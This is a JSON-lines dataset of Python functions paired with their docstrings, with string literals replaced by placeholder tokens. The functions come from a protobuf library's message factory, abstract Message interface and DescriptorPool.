{"signature": "def CopyToProto(self, proto):", "body": "proto.ParseFromString(self.serialized_pb)<EOL>", "docstring": "Copies this to a descriptor_pb2.FileDescriptorProto.\n\n        Args:\n          proto: An empty descriptor_pb2.FileDescriptorProto.", "id": "f8663:c11:m1"}
{"signature": "def GetMessages(file_protos):", "body": "for file_proto in file_protos:<EOL><INDENT>_FACTORY.pool.Add(file_proto)<EOL><DEDENT>return _FACTORY.GetMessages([file_proto.name for file_proto in file_protos])<EOL>", "docstring": "Builds a dictionary of all the messages available in a set of files.\n\n    Args:\n      file_protos: A sequence of file protos to build messages out of.\n\n    Returns:\n      A dictionary mapping proto names to the message classes. This will include\n      any dependent messages as well as any messages defined in the same file as\n      a specified message.", "id": "f8664:m0"}
{"signature": "def __init__(self, pool=None):", "body": "self.pool = pool or descriptor_pool.DescriptorPool()<EOL>self._classes = {}<EOL>", "docstring": "Initializes a new factory.", "id": "f8664:c0:m0"}
{"signature": "def GetPrototype(self, descriptor):", "body": "if descriptor.full_name not in self._classes:<EOL><INDENT>descriptor_name = descriptor.name<EOL>if str is bytes:  <EOL><INDENT>descriptor_name = descriptor.name.encode('<STR_LIT:ascii>', '<STR_LIT:ignore>')<EOL><DEDENT>result_class = reflection.GeneratedProtocolMessageType(<EOL>descriptor_name,<EOL>(message.Message,),<EOL>{'<STR_LIT>': descriptor, '<STR_LIT>': None})<EOL>self._classes[descriptor.full_name] = result_class<EOL>for field in descriptor.fields:<EOL><INDENT>if field.message_type:<EOL><INDENT>self.GetPrototype(field.message_type)<EOL><DEDENT><DEDENT>for extension in result_class.DESCRIPTOR.extensions:<EOL><INDENT>if extension.containing_type.full_name not in self._classes:<EOL><INDENT>self.GetPrototype(extension.containing_type)<EOL><DEDENT>extended_class = self._classes[extension.containing_type.full_name]<EOL>extended_class.RegisterExtension(extension)<EOL><DEDENT><DEDENT>return self._classes[descriptor.full_name]<EOL>", "docstring": "Builds a proto2 message class based on the passed in descriptor.\n\n        Passing a descriptor with a fully qualified name matching a previous\n        invocation will cause the same class to be returned.\n\n        Args:\n          descriptor: The descriptor to build from.\n\n        Returns:\n          A class describing the passed in descriptor.", "id": "f8664:c0:m1"}
{"signature": "def GetMessages(self, files):", "body": "result = {}<EOL>for file_name in files:<EOL><INDENT>file_desc = self.pool.FindFileByName(file_name)<EOL>for name, msg in file_desc.message_types_by_name.items():<EOL><INDENT>if file_desc.package:<EOL><INDENT>full_name = '<STR_LIT:.>'.join([file_desc.package, name])<EOL><DEDENT>else:<EOL><INDENT>full_name = msg.name<EOL><DEDENT>result[full_name] = self.GetPrototype(<EOL>self.pool.FindMessageTypeByName(full_name))<EOL><DEDENT>for name, extension in file_desc.extensions_by_name.items():<EOL><INDENT>if extension.containing_type.full_name not in self._classes:<EOL><INDENT>self.GetPrototype(extension.containing_type)<EOL><DEDENT>extended_class = self._classes[extension.containing_type.full_name]<EOL>extended_class.RegisterExtension(extension)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Gets all the messages from a specified file.\n\n        This will find and resolve dependencies, failing if the descriptor\n        pool cannot satisfy them.\n\n        Args:\n          files: The file names to extract messages from.\n\n        Returns:\n          A dictionary mapping proto names to the message classes. This will include\n          any dependent messages as well as any messages defined in the same file as\n          a specified message.", "id": "f8664:c0:m2"}
{"signature": "def __eq__(self, other_msg):", "body": "raise NotImplementedError<EOL>", "docstring": "Recursively compares two messages by value and structure.", "id": "f8665:c3:m1"}
{"signature": "def __str__(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Outputs a human-readable representation of the message.", "id": "f8665:c3:m4"}
{"signature": "def __unicode__(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Outputs a human-readable representation of the message.", "id": "f8665:c3:m5"}
{"signature": "def MergeFrom(self, other_msg):", "body": "raise NotImplementedError<EOL>", "docstring": "Merges the contents of the specified message into current message.\n\n        This method merges the contents of the specified message into the current\n        message. Singular fields that are set in the specified message overwrite\n        the corresponding fields in the current message. Repeated fields are\n        appended. Singular sub-messages and groups are recursively merged.\n\n        Args:\n          other_msg: Message to merge into the current message.", "id": "f8665:c3:m6"}
{"signature": "def CopyFrom(self, other_msg):", "body": "if self is other_msg:<EOL><INDENT>return<EOL><DEDENT>self.Clear()<EOL>self.MergeFrom(other_msg)<EOL>", "docstring": "Copies the content of the specified message into the current message.\n\n        The method clears the current message and then merges the specified\n        message using MergeFrom.\n\n        Args:\n          other_msg: Message to copy into the current one.", "id": "f8665:c3:m7"}
{"signature": "def Clear(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Clears all data that was set in the message.", "id": "f8665:c3:m8"}
{"signature": "def SetInParent(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Mark this as present in the parent.\n\n        This normally happens automatically when you assign a field of a\n        sub-message, but sometimes you want to make the sub-message\n        present while keeping it empty.  If you find yourself using this,\n        you may want to reconsider your design.", "id": "f8665:c3:m9"}
{"signature": "def IsInitialized(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Checks if the message is initialized.\n\n        Returns:\n          The method returns True if the message is initialized (i.e. all of its\n          required fields are set).", "id": "f8665:c3:m10"}
{"signature": "def MergeFromString(self, serialized):", "body": "raise NotImplementedError<EOL>", "docstring": "Merges serialized protocol buffer data into this message.\n\n        When we find a field in |serialized| that is already present\n        in this message:\n          - If it's a \"repeated\" field, we append to the end of our list.\n          - Else, if it's a scalar, we overwrite our field.\n          - Else, (it's a nonrepeated composite), we recursively merge\n            into the existing composite.\n\n        TODO(robinson): Document handling of unknown fields.\n\n        Args:\n          serialized: Any object that allows us to call buffer(serialized)\n            to access a string of bytes using the buffer interface.\n\n        TODO(robinson): When we switch to a helper, this will return None.\n\n        Returns:\n          The number of bytes read from |serialized|.\n          For non-group messages, this will always be len(serialized),\n          but for messages which are actually groups, this will\n          generally be less than len(serialized), since we must\n          stop when we reach an END_GROUP tag.  Note that if\n          we *do* stop because of an END_GROUP tag, the number\n          of bytes returned does not include the bytes\n          for the END_GROUP tag information.", "id": "f8665:c3:m11"}
{"signature": "def ParseFromString(self, serialized):", "body": "self.Clear()<EOL>self.MergeFromString(serialized)<EOL>", "docstring": "Parse serialized protocol buffer data into this message.\n\n        Like MergeFromString(), except we clear the object first and\n        do not return the value that MergeFromString returns.", "id": "f8665:c3:m12"}
{"signature": "def SerializeToString(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Serializes the protocol message to a binary string.\n\n        Returns:\n          A binary string representation of the message if all of the required\n          fields in the message are set (i.e. the message is initialized).\n\n        Raises:\n          message.EncodeError if the message isn't initialized.", "id": "f8665:c3:m13"}
{"signature": "def SerializePartialToString(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Serializes the protocol message to a binary string.\n\n        This method is similar to SerializeToString but doesn't check if the\n        message is initialized.\n\n        Returns:\n          A string representation of the partial message.", "id": "f8665:c3:m14"}
{"signature": "def ListFields(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Returns a list of (FieldDescriptor, value) tuples for all\n        fields in the message which are not empty.  A singular field is non-empty\n        if HasField() would return true, and a repeated field is non-empty if\n        it contains at least one element.  The fields are ordered by field\n        number", "id": "f8665:c3:m15"}
{"signature": "def HasField(self, field_name):", "body": "raise NotImplementedError<EOL>", "docstring": "Checks if a certain field is set for the message, or if any field inside\n        a oneof group is set.  Note that if the field_name is not defined in the\n        message descriptor, ValueError will be raised.", "id": "f8665:c3:m16"}
{"signature": "def ClearField(self, field_name):", "body": "raise NotImplementedError<EOL>", "docstring": "Clears the contents of a given field, or the field set inside a oneof\n        group.  If the name neither refers to a defined field or oneof group,\n        ValueError is raised.", "id": "f8665:c3:m17"}
{"signature": "def WhichOneof(self, oneof_group):", "body": "raise NotImplementedError<EOL>", "docstring": "Returns the name of the field that is set inside a oneof group, or\n        None if no field is set.  If no group with the given name exists, ValueError\n        will be raised.", "id": "f8665:c3:m18"}
{"signature": "def ByteSize(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Returns the serialized size of this message.\n        Recursively calls ByteSize() on all contained messages.", "id": "f8665:c3:m22"}
{"signature": "def _SetListener(self, message_listener):", "body": "raise NotImplementedError<EOL>", "docstring": "Internal method used by the protocol message implementation.\n        Clients should not call this directly.\n\n        Sets a listener that this message will call on certain state transitions.\n\n        The purpose of this method is to register back-edges from children to\n        parents at runtime, for the purpose of setting \"has\" bits and\n        byte-size-dirty bits in the parent and ancestor objects whenever a child or\n        descendant object is modified.\n\n        If the client wants to disconnect this Message from the object tree, she\n        explicitly sets callback to None.\n\n        If message_listener is None, unregisters any existing listener.  Otherwise,\n        message_listener must implement the MessageListener interface in\n        internal/message_listener.py, and we discard any listener registered\n        via a previous _SetListener() call.", "id": "f8665:c3:m23"}
{"signature": "def __getstate__(self):", "body": "return dict(serialized=self.SerializePartialToString())<EOL>", "docstring": "Support the pickle protocol.", "id": "f8665:c3:m24"}
{"signature": "def __setstate__(self, state):", "body": "self.__init__()<EOL>self.ParseFromString(state['<STR_LIT>'])<EOL>", "docstring": "Support the pickle protocol.", "id": "f8665:c3:m25"}
{"signature": "def _NormalizeFullyQualifiedName(name):", "body": "return name.lstrip('<STR_LIT:.>')<EOL>", "docstring": "Remove leading period from fully-qualified type name.\n\n    Due to b/13860351 in descriptor_database.py, types in the root namespace are\n    generated with a leading period. This function removes that prefix.\n\n    Args:\n      name: A str, the fully-qualified symbol name.\n\n    Returns:\n      A str, the normalized fully-qualified symbol name.", "id": "f8666:m0"}
{"signature": "def __init__(self, descriptor_db=None):", "body": "self._internal_db = descriptor_database.DescriptorDatabase()<EOL>self._descriptor_db = descriptor_db<EOL>self._descriptors = {}<EOL>self._enum_descriptors = {}<EOL>self._file_descriptors = {}<EOL>", "docstring": "Initializes a Pool of proto buffs.\n\n        The descriptor_db argument to the constructor is provided to allow\n        specialized file descriptor proto lookup code to be triggered on demand. An\n        example would be an implementation which will read and compile a file\n        specified in a call to FindFileByName() and not require the call to Add()\n        at all. Results from this database will be cached internally here as well.\n\n        Args:\n          descriptor_db: A secondary source of file descriptors.", "id": "f8666:c0:m0"}
{"signature": "def Add(self, file_desc_proto):", "body": "self._internal_db.Add(file_desc_proto)<EOL>", "docstring": "Adds the FileDescriptorProto and its types to this pool.\n\n        Args:\n          file_desc_proto: The FileDescriptorProto to add.", "id": "f8666:c0:m1"}
{"signature": "def AddSerializedFile(self, serialized_file_desc_proto):", "body": "<EOL>from typy.google.protobuf import descriptor_pb2<EOL>file_desc_proto = descriptor_pb2.FileDescriptorProto.FromString(<EOL>serialized_file_desc_proto)<EOL>self.Add(file_desc_proto)<EOL>", "docstring": "Adds the FileDescriptorProto and its types to this pool.\n\n        Args:\n          serialized_file_desc_proto: A bytes string, serialization of the\n            FileDescriptorProto to add.", "id": "f8666:c0:m2"}
{"signature": "def AddDescriptor(self, desc):", "body": "if not isinstance(desc, descriptor.Descriptor):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>self._descriptors[desc.full_name] = desc<EOL>self.AddFileDescriptor(desc.file)<EOL>", "docstring": "Adds a Descriptor to the pool, non-recursively.\n\n        If the Descriptor contains nested messages or enums, the caller must\n        explicitly register them. This method also registers the FileDescriptor\n        associated with the message.\n\n        Args:\n          desc: A Descriptor.", "id": "f8666:c0:m3"}
{"signature": "def AddEnumDescriptor(self, enum_desc):", "body": "if not isinstance(enum_desc, descriptor.EnumDescriptor):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>self._enum_descriptors[enum_desc.full_name] = enum_desc<EOL>self.AddFileDescriptor(enum_desc.file)<EOL>", "docstring": "Adds an EnumDescriptor to the pool.\n\n        This method also registers the FileDescriptor associated with the message.\n\n        Args:\n          enum_desc: An EnumDescriptor.", "id": "f8666:c0:m4"}
{"signature": "def AddFileDescriptor(self, file_desc):", "body": "if not isinstance(file_desc, descriptor.FileDescriptor):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>self._file_descriptors[file_desc.name] = file_desc<EOL>", "docstring": "Adds a FileDescriptor to the pool, non-recursively.\n\n        If the FileDescriptor contains messages or enums, the caller must explicitly\n        register them.\n\n        Args:\n          file_desc: A FileDescriptor.", "id": "f8666:c0:m5"}
{"signature": "def FindFileByName(self, file_name):", "body": "try:<EOL><INDENT>return self._file_descriptors[file_name]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>file_proto = self._internal_db.FindFileByName(file_name)<EOL><DEDENT>except KeyError as error:<EOL><INDENT>if self._descriptor_db:<EOL><INDENT>file_proto = self._descriptor_db.FindFileByName(file_name)<EOL><DEDENT>else:<EOL><INDENT>raise error<EOL><DEDENT><DEDENT>if not file_proto:<EOL><INDENT>raise KeyError('<STR_LIT>' % file_name)<EOL><DEDENT>return self._ConvertFileProtoToFileDescriptor(file_proto)<EOL>", "docstring": "Gets a FileDescriptor by file name.\n\n        Args:\n          file_name: The path to the file to get a descriptor for.\n\n        Returns:\n          A FileDescriptor for the named file.\n\n        Raises:\n          KeyError: if the file can not be found in the pool.", "id": "f8666:c0:m6"}
{"signature": "def FindFileContainingSymbol(self, symbol):", "body": "symbol = _NormalizeFullyQualifiedName(symbol)<EOL>try:<EOL><INDENT>return self._descriptors[symbol].file<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>return self._enum_descriptors[symbol].file<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>file_proto = self._internal_db.FindFileContainingSymbol(symbol)<EOL><DEDENT>except KeyError as error:<EOL><INDENT>if self._descriptor_db:<EOL><INDENT>file_proto = self._descriptor_db.FindFileContainingSymbol(symbol)<EOL><DEDENT>else:<EOL><INDENT>raise error<EOL><DEDENT><DEDENT>if not file_proto:<EOL><INDENT>raise KeyError('<STR_LIT>' % symbol)<EOL><DEDENT>return self._ConvertFileProtoToFileDescriptor(file_proto)<EOL>", "docstring": "Gets the FileDescriptor for the file containing the specified symbol.\n\n        Args:\n          symbol: The name of the symbol to search for.\n\n        Returns:\n          A FileDescriptor that contains the specified symbol.\n\n        Raises:\n          KeyError: if the file can not be found in the pool.", "id": "f8666:c0:m7"}
{"signature": "def FindMessageTypeByName(self, full_name):", "body": "full_name = _NormalizeFullyQualifiedName(full_name)<EOL>if full_name not in self._descriptors:<EOL><INDENT>self.FindFileContainingSymbol(full_name)<EOL><DEDENT>return self._descriptors[full_name]<EOL>", "docstring": "Loads the named descriptor from the pool.\n\n        Args:\n          full_name: The full name of the descriptor to load.\n\n        Returns:\n          The descriptor for the named type.", "id": "f8666:c0:m8"}
{"signature": "def FindEnumTypeByName(self, full_name):", "body": "full_name = _NormalizeFullyQualifiedName(full_name)<EOL>if full_name not in self._enum_descriptors:<EOL><INDENT>self.FindFileContainingSymbol(full_name)<EOL><DEDENT>return self._enum_descriptors[full_name]<EOL>", "docstring": "Loads the named enum descriptor from the pool.\n\n        Args:\n          full_name: The full name of the enum descriptor to load.\n\n        Returns:\n          The enum descriptor for the named type.", "id": "f8666:c0:m9"}
{"signature": "def FindFieldByName(self, full_name):", "body": "full_name = _NormalizeFullyQualifiedName(full_name)<EOL>message_name, _, field_name = full_name.rpartition('<STR_LIT:.>')<EOL>message_descriptor = self.FindMessageTypeByName(message_name)<EOL>return message_descriptor.fields_by_name[field_name]<EOL>", "docstring": "Loads the named field descriptor from the pool.\n\n        Args:\n          full_name: The full name of the field descriptor to load.\n\n        Returns:\n          The field descriptor for the named field.", "id": "f8666:c0:m10"}
{"signature": "def FindExtensionByName(self, full_name):", "body": "full_name = _NormalizeFullyQualifiedName(full_name)<EOL>message_name, _, extension_name = full_name.rpartition('<STR_LIT:.>')<EOL>try:<EOL><INDENT>scope = self.FindMessageTypeByName(message_name)<EOL><DEDENT>except KeyError:<EOL><INDENT>scope = self.FindFileContainingSymbol(full_name)<EOL><DEDENT>return scope.extensions_by_name[extension_name]<EOL>", "docstring": "Loads the named extension descriptor from the pool.\n\n        Args:\n          full_name: The full name of the extension descriptor to load.\n\n        Returns:\n          A FieldDescriptor, describing the named extension.", "id": "f8666:c0:m11"}
{"signature": "def _ConvertFileProtoToFileDescriptor(self, file_proto):", "body": "if file_proto.name not in self._file_descriptors:<EOL><INDENT>built_deps = list(self._GetDeps(file_proto.dependency))<EOL>direct_deps = [self.FindFileByName(n) for n in file_proto.dependency]<EOL>public_deps = [direct_deps[i] for i in file_proto.public_dependency]<EOL>file_descriptor = descriptor.FileDescriptor(<EOL>pool=self,<EOL>name=file_proto.name,<EOL>package=file_proto.package,<EOL>syntax=file_proto.syntax,<EOL>options=file_proto.options,<EOL>serialized_pb=file_proto.SerializeToString(),<EOL>dependencies=direct_deps,<EOL>public_dependencies=public_deps)<EOL>if _USE_C_DESCRIPTORS:<EOL><INDENT>def _AddMessageDescriptor(message_desc):<EOL><INDENT>self._descriptors[message_desc.full_name] = message_desc<EOL>for nested in message_desc.nested_types:<EOL><INDENT>_AddMessageDescriptor(nested)<EOL><DEDENT>for enum_type in message_desc.enum_types:<EOL><INDENT>_AddEnumDescriptor(enum_type)<EOL><DEDENT><DEDENT>def _AddEnumDescriptor(enum_desc):<EOL><INDENT>self._enum_descriptors[enum_desc.full_name] = enum_desc<EOL><DEDENT>for message_type in file_descriptor.message_types_by_name.values():<EOL><INDENT>_AddMessageDescriptor(message_type)<EOL><DEDENT>for enum_type in file_descriptor.enum_types_by_name.values():<EOL><INDENT>_AddEnumDescriptor(enum_type)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>scope = {}<EOL>for dependency in built_deps:<EOL><INDENT>scope.update(self._ExtractSymbols(<EOL>dependency.message_types_by_name.values()))<EOL>scope.update((_PrefixWithDot(enum.full_name), enum)<EOL>for enum in dependency.enum_types_by_name.values())<EOL><DEDENT>for message_type in file_proto.message_type:<EOL><INDENT>message_desc = self._ConvertMessageDescriptor(<EOL>message_type, file_proto.package, file_descriptor, scope,<EOL>file_proto.syntax)<EOL>file_descriptor.message_types_by_name[message_desc.name] = (<EOL>message_desc)<EOL><DEDENT>for enum_type in file_proto.enum_type:<EOL><INDENT>file_descriptor.enum_types_by_name[enum_type.name] = (<EOL>self._ConvertEnumDescriptor(enum_type, file_proto.package,<EOL>file_descriptor, None, scope))<EOL><DEDENT>for index, extension_proto in enumerate(file_proto.extension):<EOL><INDENT>extension_desc = self._MakeFieldDescriptor(<EOL>extension_proto, file_proto.package, index, is_extension=True)<EOL>extension_desc.containing_type = self._GetTypeFromScope(<EOL>file_descriptor.package, extension_proto.extendee, scope)<EOL>self._SetFieldType(extension_proto, extension_desc,<EOL>file_descriptor.package, scope)<EOL>file_descriptor.extensions_by_name[extension_desc.name] = (<EOL>extension_desc)<EOL><DEDENT>for desc_proto in file_proto.message_type:<EOL><INDENT>self._SetAllFieldTypes(file_proto.package, desc_proto, scope)<EOL><DEDENT>if file_proto.package:<EOL><INDENT>desc_proto_prefix = _PrefixWithDot(file_proto.package)<EOL><DEDENT>else:<EOL><INDENT>desc_proto_prefix = '<STR_LIT>'<EOL><DEDENT>for desc_proto in file_proto.message_type:<EOL><INDENT>desc = self._GetTypeFromScope(<EOL>desc_proto_prefix, desc_proto.name, scope)<EOL>file_descriptor.message_types_by_name[desc_proto.name] = desc<EOL><DEDENT><DEDENT>self.Add(file_proto)<EOL>self._file_descriptors[file_proto.name] = file_descriptor<EOL><DEDENT>return self._file_descriptors[file_proto.name]<EOL>", "docstring": "Creates a FileDescriptor from a proto or returns a cached copy.\n\n        This method also has the side effect of loading all the symbols found in\n        the file into the appropriate dictionaries in the pool.\n\n        Args:\n          file_proto: The proto to convert.\n\n        Returns:\n          A FileDescriptor matching the passed in proto.", "id": "f8666:c0:m12"}
{"signature": "def _ConvertMessageDescriptor(self, desc_proto, package=None, file_desc=None,<EOL>scope=None, syntax=None):", "body": "if package:<EOL><INDENT>desc_name = '<STR_LIT:.>'.join((package, desc_proto.name))<EOL><DEDENT>else:<EOL><INDENT>desc_name = desc_proto.name<EOL><DEDENT>if file_desc is None:<EOL><INDENT>file_name = None<EOL><DEDENT>else:<EOL><INDENT>file_name = file_desc.name<EOL><DEDENT>if scope is None:<EOL><INDENT>scope = {}<EOL><DEDENT>nested = [<EOL>self._ConvertMessageDescriptor(<EOL>nested, desc_name, file_desc, scope, syntax)<EOL>for nested in desc_proto.nested_type]<EOL>enums = [<EOL>self._ConvertEnumDescriptor(enum, desc_name, file_desc, None, scope)<EOL>for enum in desc_proto.enum_type]<EOL>fields = [self._MakeFieldDescriptor(field, desc_name, index)<EOL>for index, field in enumerate(desc_proto.field)]<EOL>extensions = [<EOL>self._MakeFieldDescriptor(extension, desc_name, index,<EOL>is_extension=True)<EOL>for index, extension in enumerate(desc_proto.extension)]<EOL>oneofs = [<EOL>descriptor.OneofDescriptor(desc.name, '<STR_LIT:.>'.join((desc_name, desc.name)),<EOL>index, None, [])<EOL>for index, desc in enumerate(desc_proto.oneof_decl)]<EOL>extension_ranges = [(r.start, r.end) for r in desc_proto.extension_range]<EOL>if extension_ranges:<EOL><INDENT>is_extendable = True<EOL><DEDENT>else:<EOL><INDENT>is_extendable = False<EOL><DEDENT>desc = descriptor.Descriptor(<EOL>name=desc_proto.name,<EOL>full_name=desc_name,<EOL>filename=file_name,<EOL>containing_type=None,<EOL>fields=fields,<EOL>oneofs=oneofs,<EOL>nested_types=nested,<EOL>enum_types=enums,<EOL>extensions=extensions,<EOL>options=desc_proto.options,<EOL>is_extendable=is_extendable,<EOL>extension_ranges=extension_ranges,<EOL>file=file_desc,<EOL>serialized_start=None,<EOL>serialized_end=None,<EOL>syntax=syntax)<EOL>for nested in desc.nested_types:<EOL><INDENT>nested.containing_type = desc<EOL><DEDENT>for enum in desc.enum_types:<EOL><INDENT>enum.containing_type = desc<EOL><DEDENT>for field_index, field_desc in enumerate(desc_proto.field):<EOL><INDENT>if field_desc.HasField('<STR_LIT>'):<EOL><INDENT>oneof_index = field_desc.oneof_index<EOL>oneofs[oneof_index].fields.append(fields[field_index])<EOL>fields[field_index].containing_oneof = oneofs[oneof_index]<EOL><DEDENT><DEDENT>scope[_PrefixWithDot(desc_name)] = desc<EOL>self._descriptors[desc_name] = desc<EOL>return desc<EOL>", "docstring": "Adds the proto to the pool in the specified package.\n\n        Args:\n          desc_proto: The descriptor_pb2.DescriptorProto protobuf message.\n          package: The package the proto should be located in.\n          file_desc: The file containing this message.\n          scope: Dict mapping short and full symbols to message and enum types.\n\n        Returns:\n          The added descriptor.", "id": "f8666:c0:m13"}
{"signature": "def _ConvertEnumDescriptor(self, enum_proto, package=None, file_desc=None,<EOL>containing_type=None, scope=None):", "body": "if package:<EOL><INDENT>enum_name = '<STR_LIT:.>'.join((package, enum_proto.name))<EOL><DEDENT>else:<EOL><INDENT>enum_name = enum_proto.name<EOL><DEDENT>if file_desc is None:<EOL><INDENT>file_name = None<EOL><DEDENT>else:<EOL><INDENT>file_name = file_desc.name<EOL><DEDENT>values = [self._MakeEnumValueDescriptor(value, index)<EOL>for index, value in enumerate(enum_proto.value)]<EOL>desc = descriptor.EnumDescriptor(name=enum_proto.name,<EOL>full_name=enum_name,<EOL>filename=file_name,<EOL>file=file_desc,<EOL>values=values,<EOL>containing_type=containing_type,<EOL>options=enum_proto.options)<EOL>scope['<STR_LIT>' % enum_name] = desc<EOL>self._enum_descriptors[enum_name] = desc<EOL>return desc<EOL>", "docstring": "Make a protobuf EnumDescriptor given an EnumDescriptorProto protobuf.\n\n        Args:\n          enum_proto: The descriptor_pb2.EnumDescriptorProto protobuf message.\n          package: Optional package name for the new message EnumDescriptor.\n          file_desc: The file containing the enum descriptor.\n          containing_type: The type containing this enum.\n          scope: Scope containing available types.\n\n        Returns:\n          The added descriptor", "id": "f8666:c0:m14"}
{"signature": "def _MakeFieldDescriptor(self, field_proto, message_name, index,<EOL>is_extension=False):", "body": "if message_name:<EOL><INDENT>full_name = '<STR_LIT:.>'.join((message_name, field_proto.name))<EOL><DEDENT>else:<EOL><INDENT>full_name = field_proto.name<EOL><DEDENT>return descriptor.FieldDescriptor(<EOL>name=field_proto.name,<EOL>full_name=full_name,<EOL>index=index,<EOL>number=field_proto.number,<EOL>type=field_proto.type,<EOL>cpp_type=None,<EOL>message_type=None,<EOL>enum_type=None,<EOL>containing_type=None,<EOL>label=field_proto.label,<EOL>has_default_value=False,<EOL>default_value=None,<EOL>is_extension=is_extension,<EOL>extension_scope=None,<EOL>options=field_proto.options)<EOL>", "docstring": "Creates a field descriptor from a FieldDescriptorProto.\n\n        For message and enum type fields, this method will do a look up\n        in the pool for the appropriate descriptor for that type. If it\n        is unavailable, it will fall back to the _source function to\n        create it. If this type is still unavailable, construction will\n        fail.\n\n        Args:\n          field_proto: The proto describing the field.\n          message_name: The name of the containing message.\n          index: Index of the field\n          is_extension: Indication that this field is for an extension.\n\n        Returns:\n          An initialized FieldDescriptor object", "id": "f8666:c0:m15"}
{"signature": "def _SetAllFieldTypes(self, package, desc_proto, scope):", "body": "package = _PrefixWithDot(package)<EOL>main_desc = self._GetTypeFromScope(package, desc_proto.name, scope)<EOL>if package == '<STR_LIT:.>':<EOL><INDENT>nested_package = _PrefixWithDot(desc_proto.name)<EOL><DEDENT>else:<EOL><INDENT>nested_package = '<STR_LIT:.>'.join([package, desc_proto.name])<EOL><DEDENT>for field_proto, field_desc in zip(desc_proto.field, main_desc.fields):<EOL><INDENT>self._SetFieldType(field_proto, field_desc, nested_package, scope)<EOL><DEDENT>for extension_proto, extension_desc in (<EOL>zip(desc_proto.extension, main_desc.extensions)):<EOL><INDENT>extension_desc.containing_type = self._GetTypeFromScope(<EOL>nested_package, extension_proto.extendee, scope)<EOL>self._SetFieldType(extension_proto, extension_desc, nested_package, scope)<EOL><DEDENT>for nested_type in desc_proto.nested_type:<EOL><INDENT>self._SetAllFieldTypes(nested_package, nested_type, scope)<EOL><DEDENT>", "docstring": "Sets all the descriptor's fields's types.\n\n        This method also sets the containing types on any extensions.\n\n        Args:\n          package: The current package of desc_proto.\n          desc_proto: The message descriptor to update.\n          scope: Enclosing scope of available types.", "id": "f8666:c0:m16"}
{"signature": "def _SetFieldType(self, field_proto, field_desc, package, scope):", "body": "if field_proto.type_name:<EOL><INDENT>desc = self._GetTypeFromScope(package, field_proto.type_name, scope)<EOL><DEDENT>else:<EOL><INDENT>desc = None<EOL><DEDENT>if not field_proto.HasField('<STR_LIT:type>'):<EOL><INDENT>if isinstance(desc, descriptor.Descriptor):<EOL><INDENT>field_proto.type = descriptor.FieldDescriptor.TYPE_MESSAGE<EOL><DEDENT>else:<EOL><INDENT>field_proto.type = descriptor.FieldDescriptor.TYPE_ENUM<EOL><DEDENT><DEDENT>field_desc.cpp_type = descriptor.FieldDescriptor.ProtoTypeToCppProtoType(<EOL>field_proto.type)<EOL>if (field_proto.type == descriptor.FieldDescriptor.TYPE_MESSAGE<EOL>or field_proto.type == descriptor.FieldDescriptor.TYPE_GROUP):<EOL><INDENT>field_desc.message_type = desc<EOL><DEDENT>if field_proto.type == descriptor.FieldDescriptor.TYPE_ENUM:<EOL><INDENT>field_desc.enum_type = desc<EOL><DEDENT>if field_proto.label == descriptor.FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>field_desc.has_default_value = False<EOL>field_desc.default_value = []<EOL><DEDENT>elif field_proto.HasField('<STR_LIT>'):<EOL><INDENT>field_desc.has_default_value = True<EOL>if (field_proto.type == descriptor.FieldDescriptor.TYPE_DOUBLE or<EOL>field_proto.type == descriptor.FieldDescriptor.TYPE_FLOAT):<EOL><INDENT>field_desc.default_value = float(field_proto.default_value)<EOL><DEDENT>elif field_proto.type == descriptor.FieldDescriptor.TYPE_STRING:<EOL><INDENT>field_desc.default_value = field_proto.default_value<EOL><DEDENT>elif field_proto.type == descriptor.FieldDescriptor.TYPE_BOOL:<EOL><INDENT>field_desc.default_value = field_proto.default_value.lower() == '<STR_LIT:true>'<EOL><DEDENT>elif field_proto.type == descriptor.FieldDescriptor.TYPE_ENUM:<EOL><INDENT>field_desc.default_value = field_desc.enum_type.values_by_name[<EOL>field_proto.default_value].number<EOL><DEDENT>elif field_proto.type == descriptor.FieldDescriptor.TYPE_BYTES:<EOL><INDENT>field_desc.default_value = text_encoding.CUnescape(<EOL>field_proto.default_value)<EOL><DEDENT>else:<EOL><INDENT>field_desc.default_value = int(field_proto.default_value)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>field_desc.has_default_value = False<EOL>if (field_proto.type == descriptor.FieldDescriptor.TYPE_DOUBLE or<EOL>field_proto.type == descriptor.FieldDescriptor.TYPE_FLOAT):<EOL><INDENT>field_desc.default_value = <NUM_LIT:0.0><EOL><DEDENT>elif field_proto.type == descriptor.FieldDescriptor.TYPE_STRING:<EOL><INDENT>field_desc.default_value = u'<STR_LIT>'<EOL><DEDENT>elif field_proto.type == descriptor.FieldDescriptor.TYPE_BOOL:<EOL><INDENT>field_desc.default_value = False<EOL><DEDENT>elif field_proto.type == descriptor.FieldDescriptor.TYPE_ENUM:<EOL><INDENT>field_desc.default_value = field_desc.enum_type.values[<NUM_LIT:0>].number<EOL><DEDENT>elif field_proto.type == descriptor.FieldDescriptor.TYPE_BYTES:<EOL><INDENT>field_desc.default_value = b'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>field_desc.default_value = <NUM_LIT:0><EOL><DEDENT><DEDENT>field_desc.type = field_proto.type<EOL>", "docstring": "Sets the field's type, cpp_type, message_type and enum_type.\n\n        Args:\n          field_proto: Data about the field in proto format.\n          field_desc: The descriptor to modiy.\n          package: The package the field's container is in.\n          scope: Enclosing scope of available types.", "id": "f8666:c0:m17"}
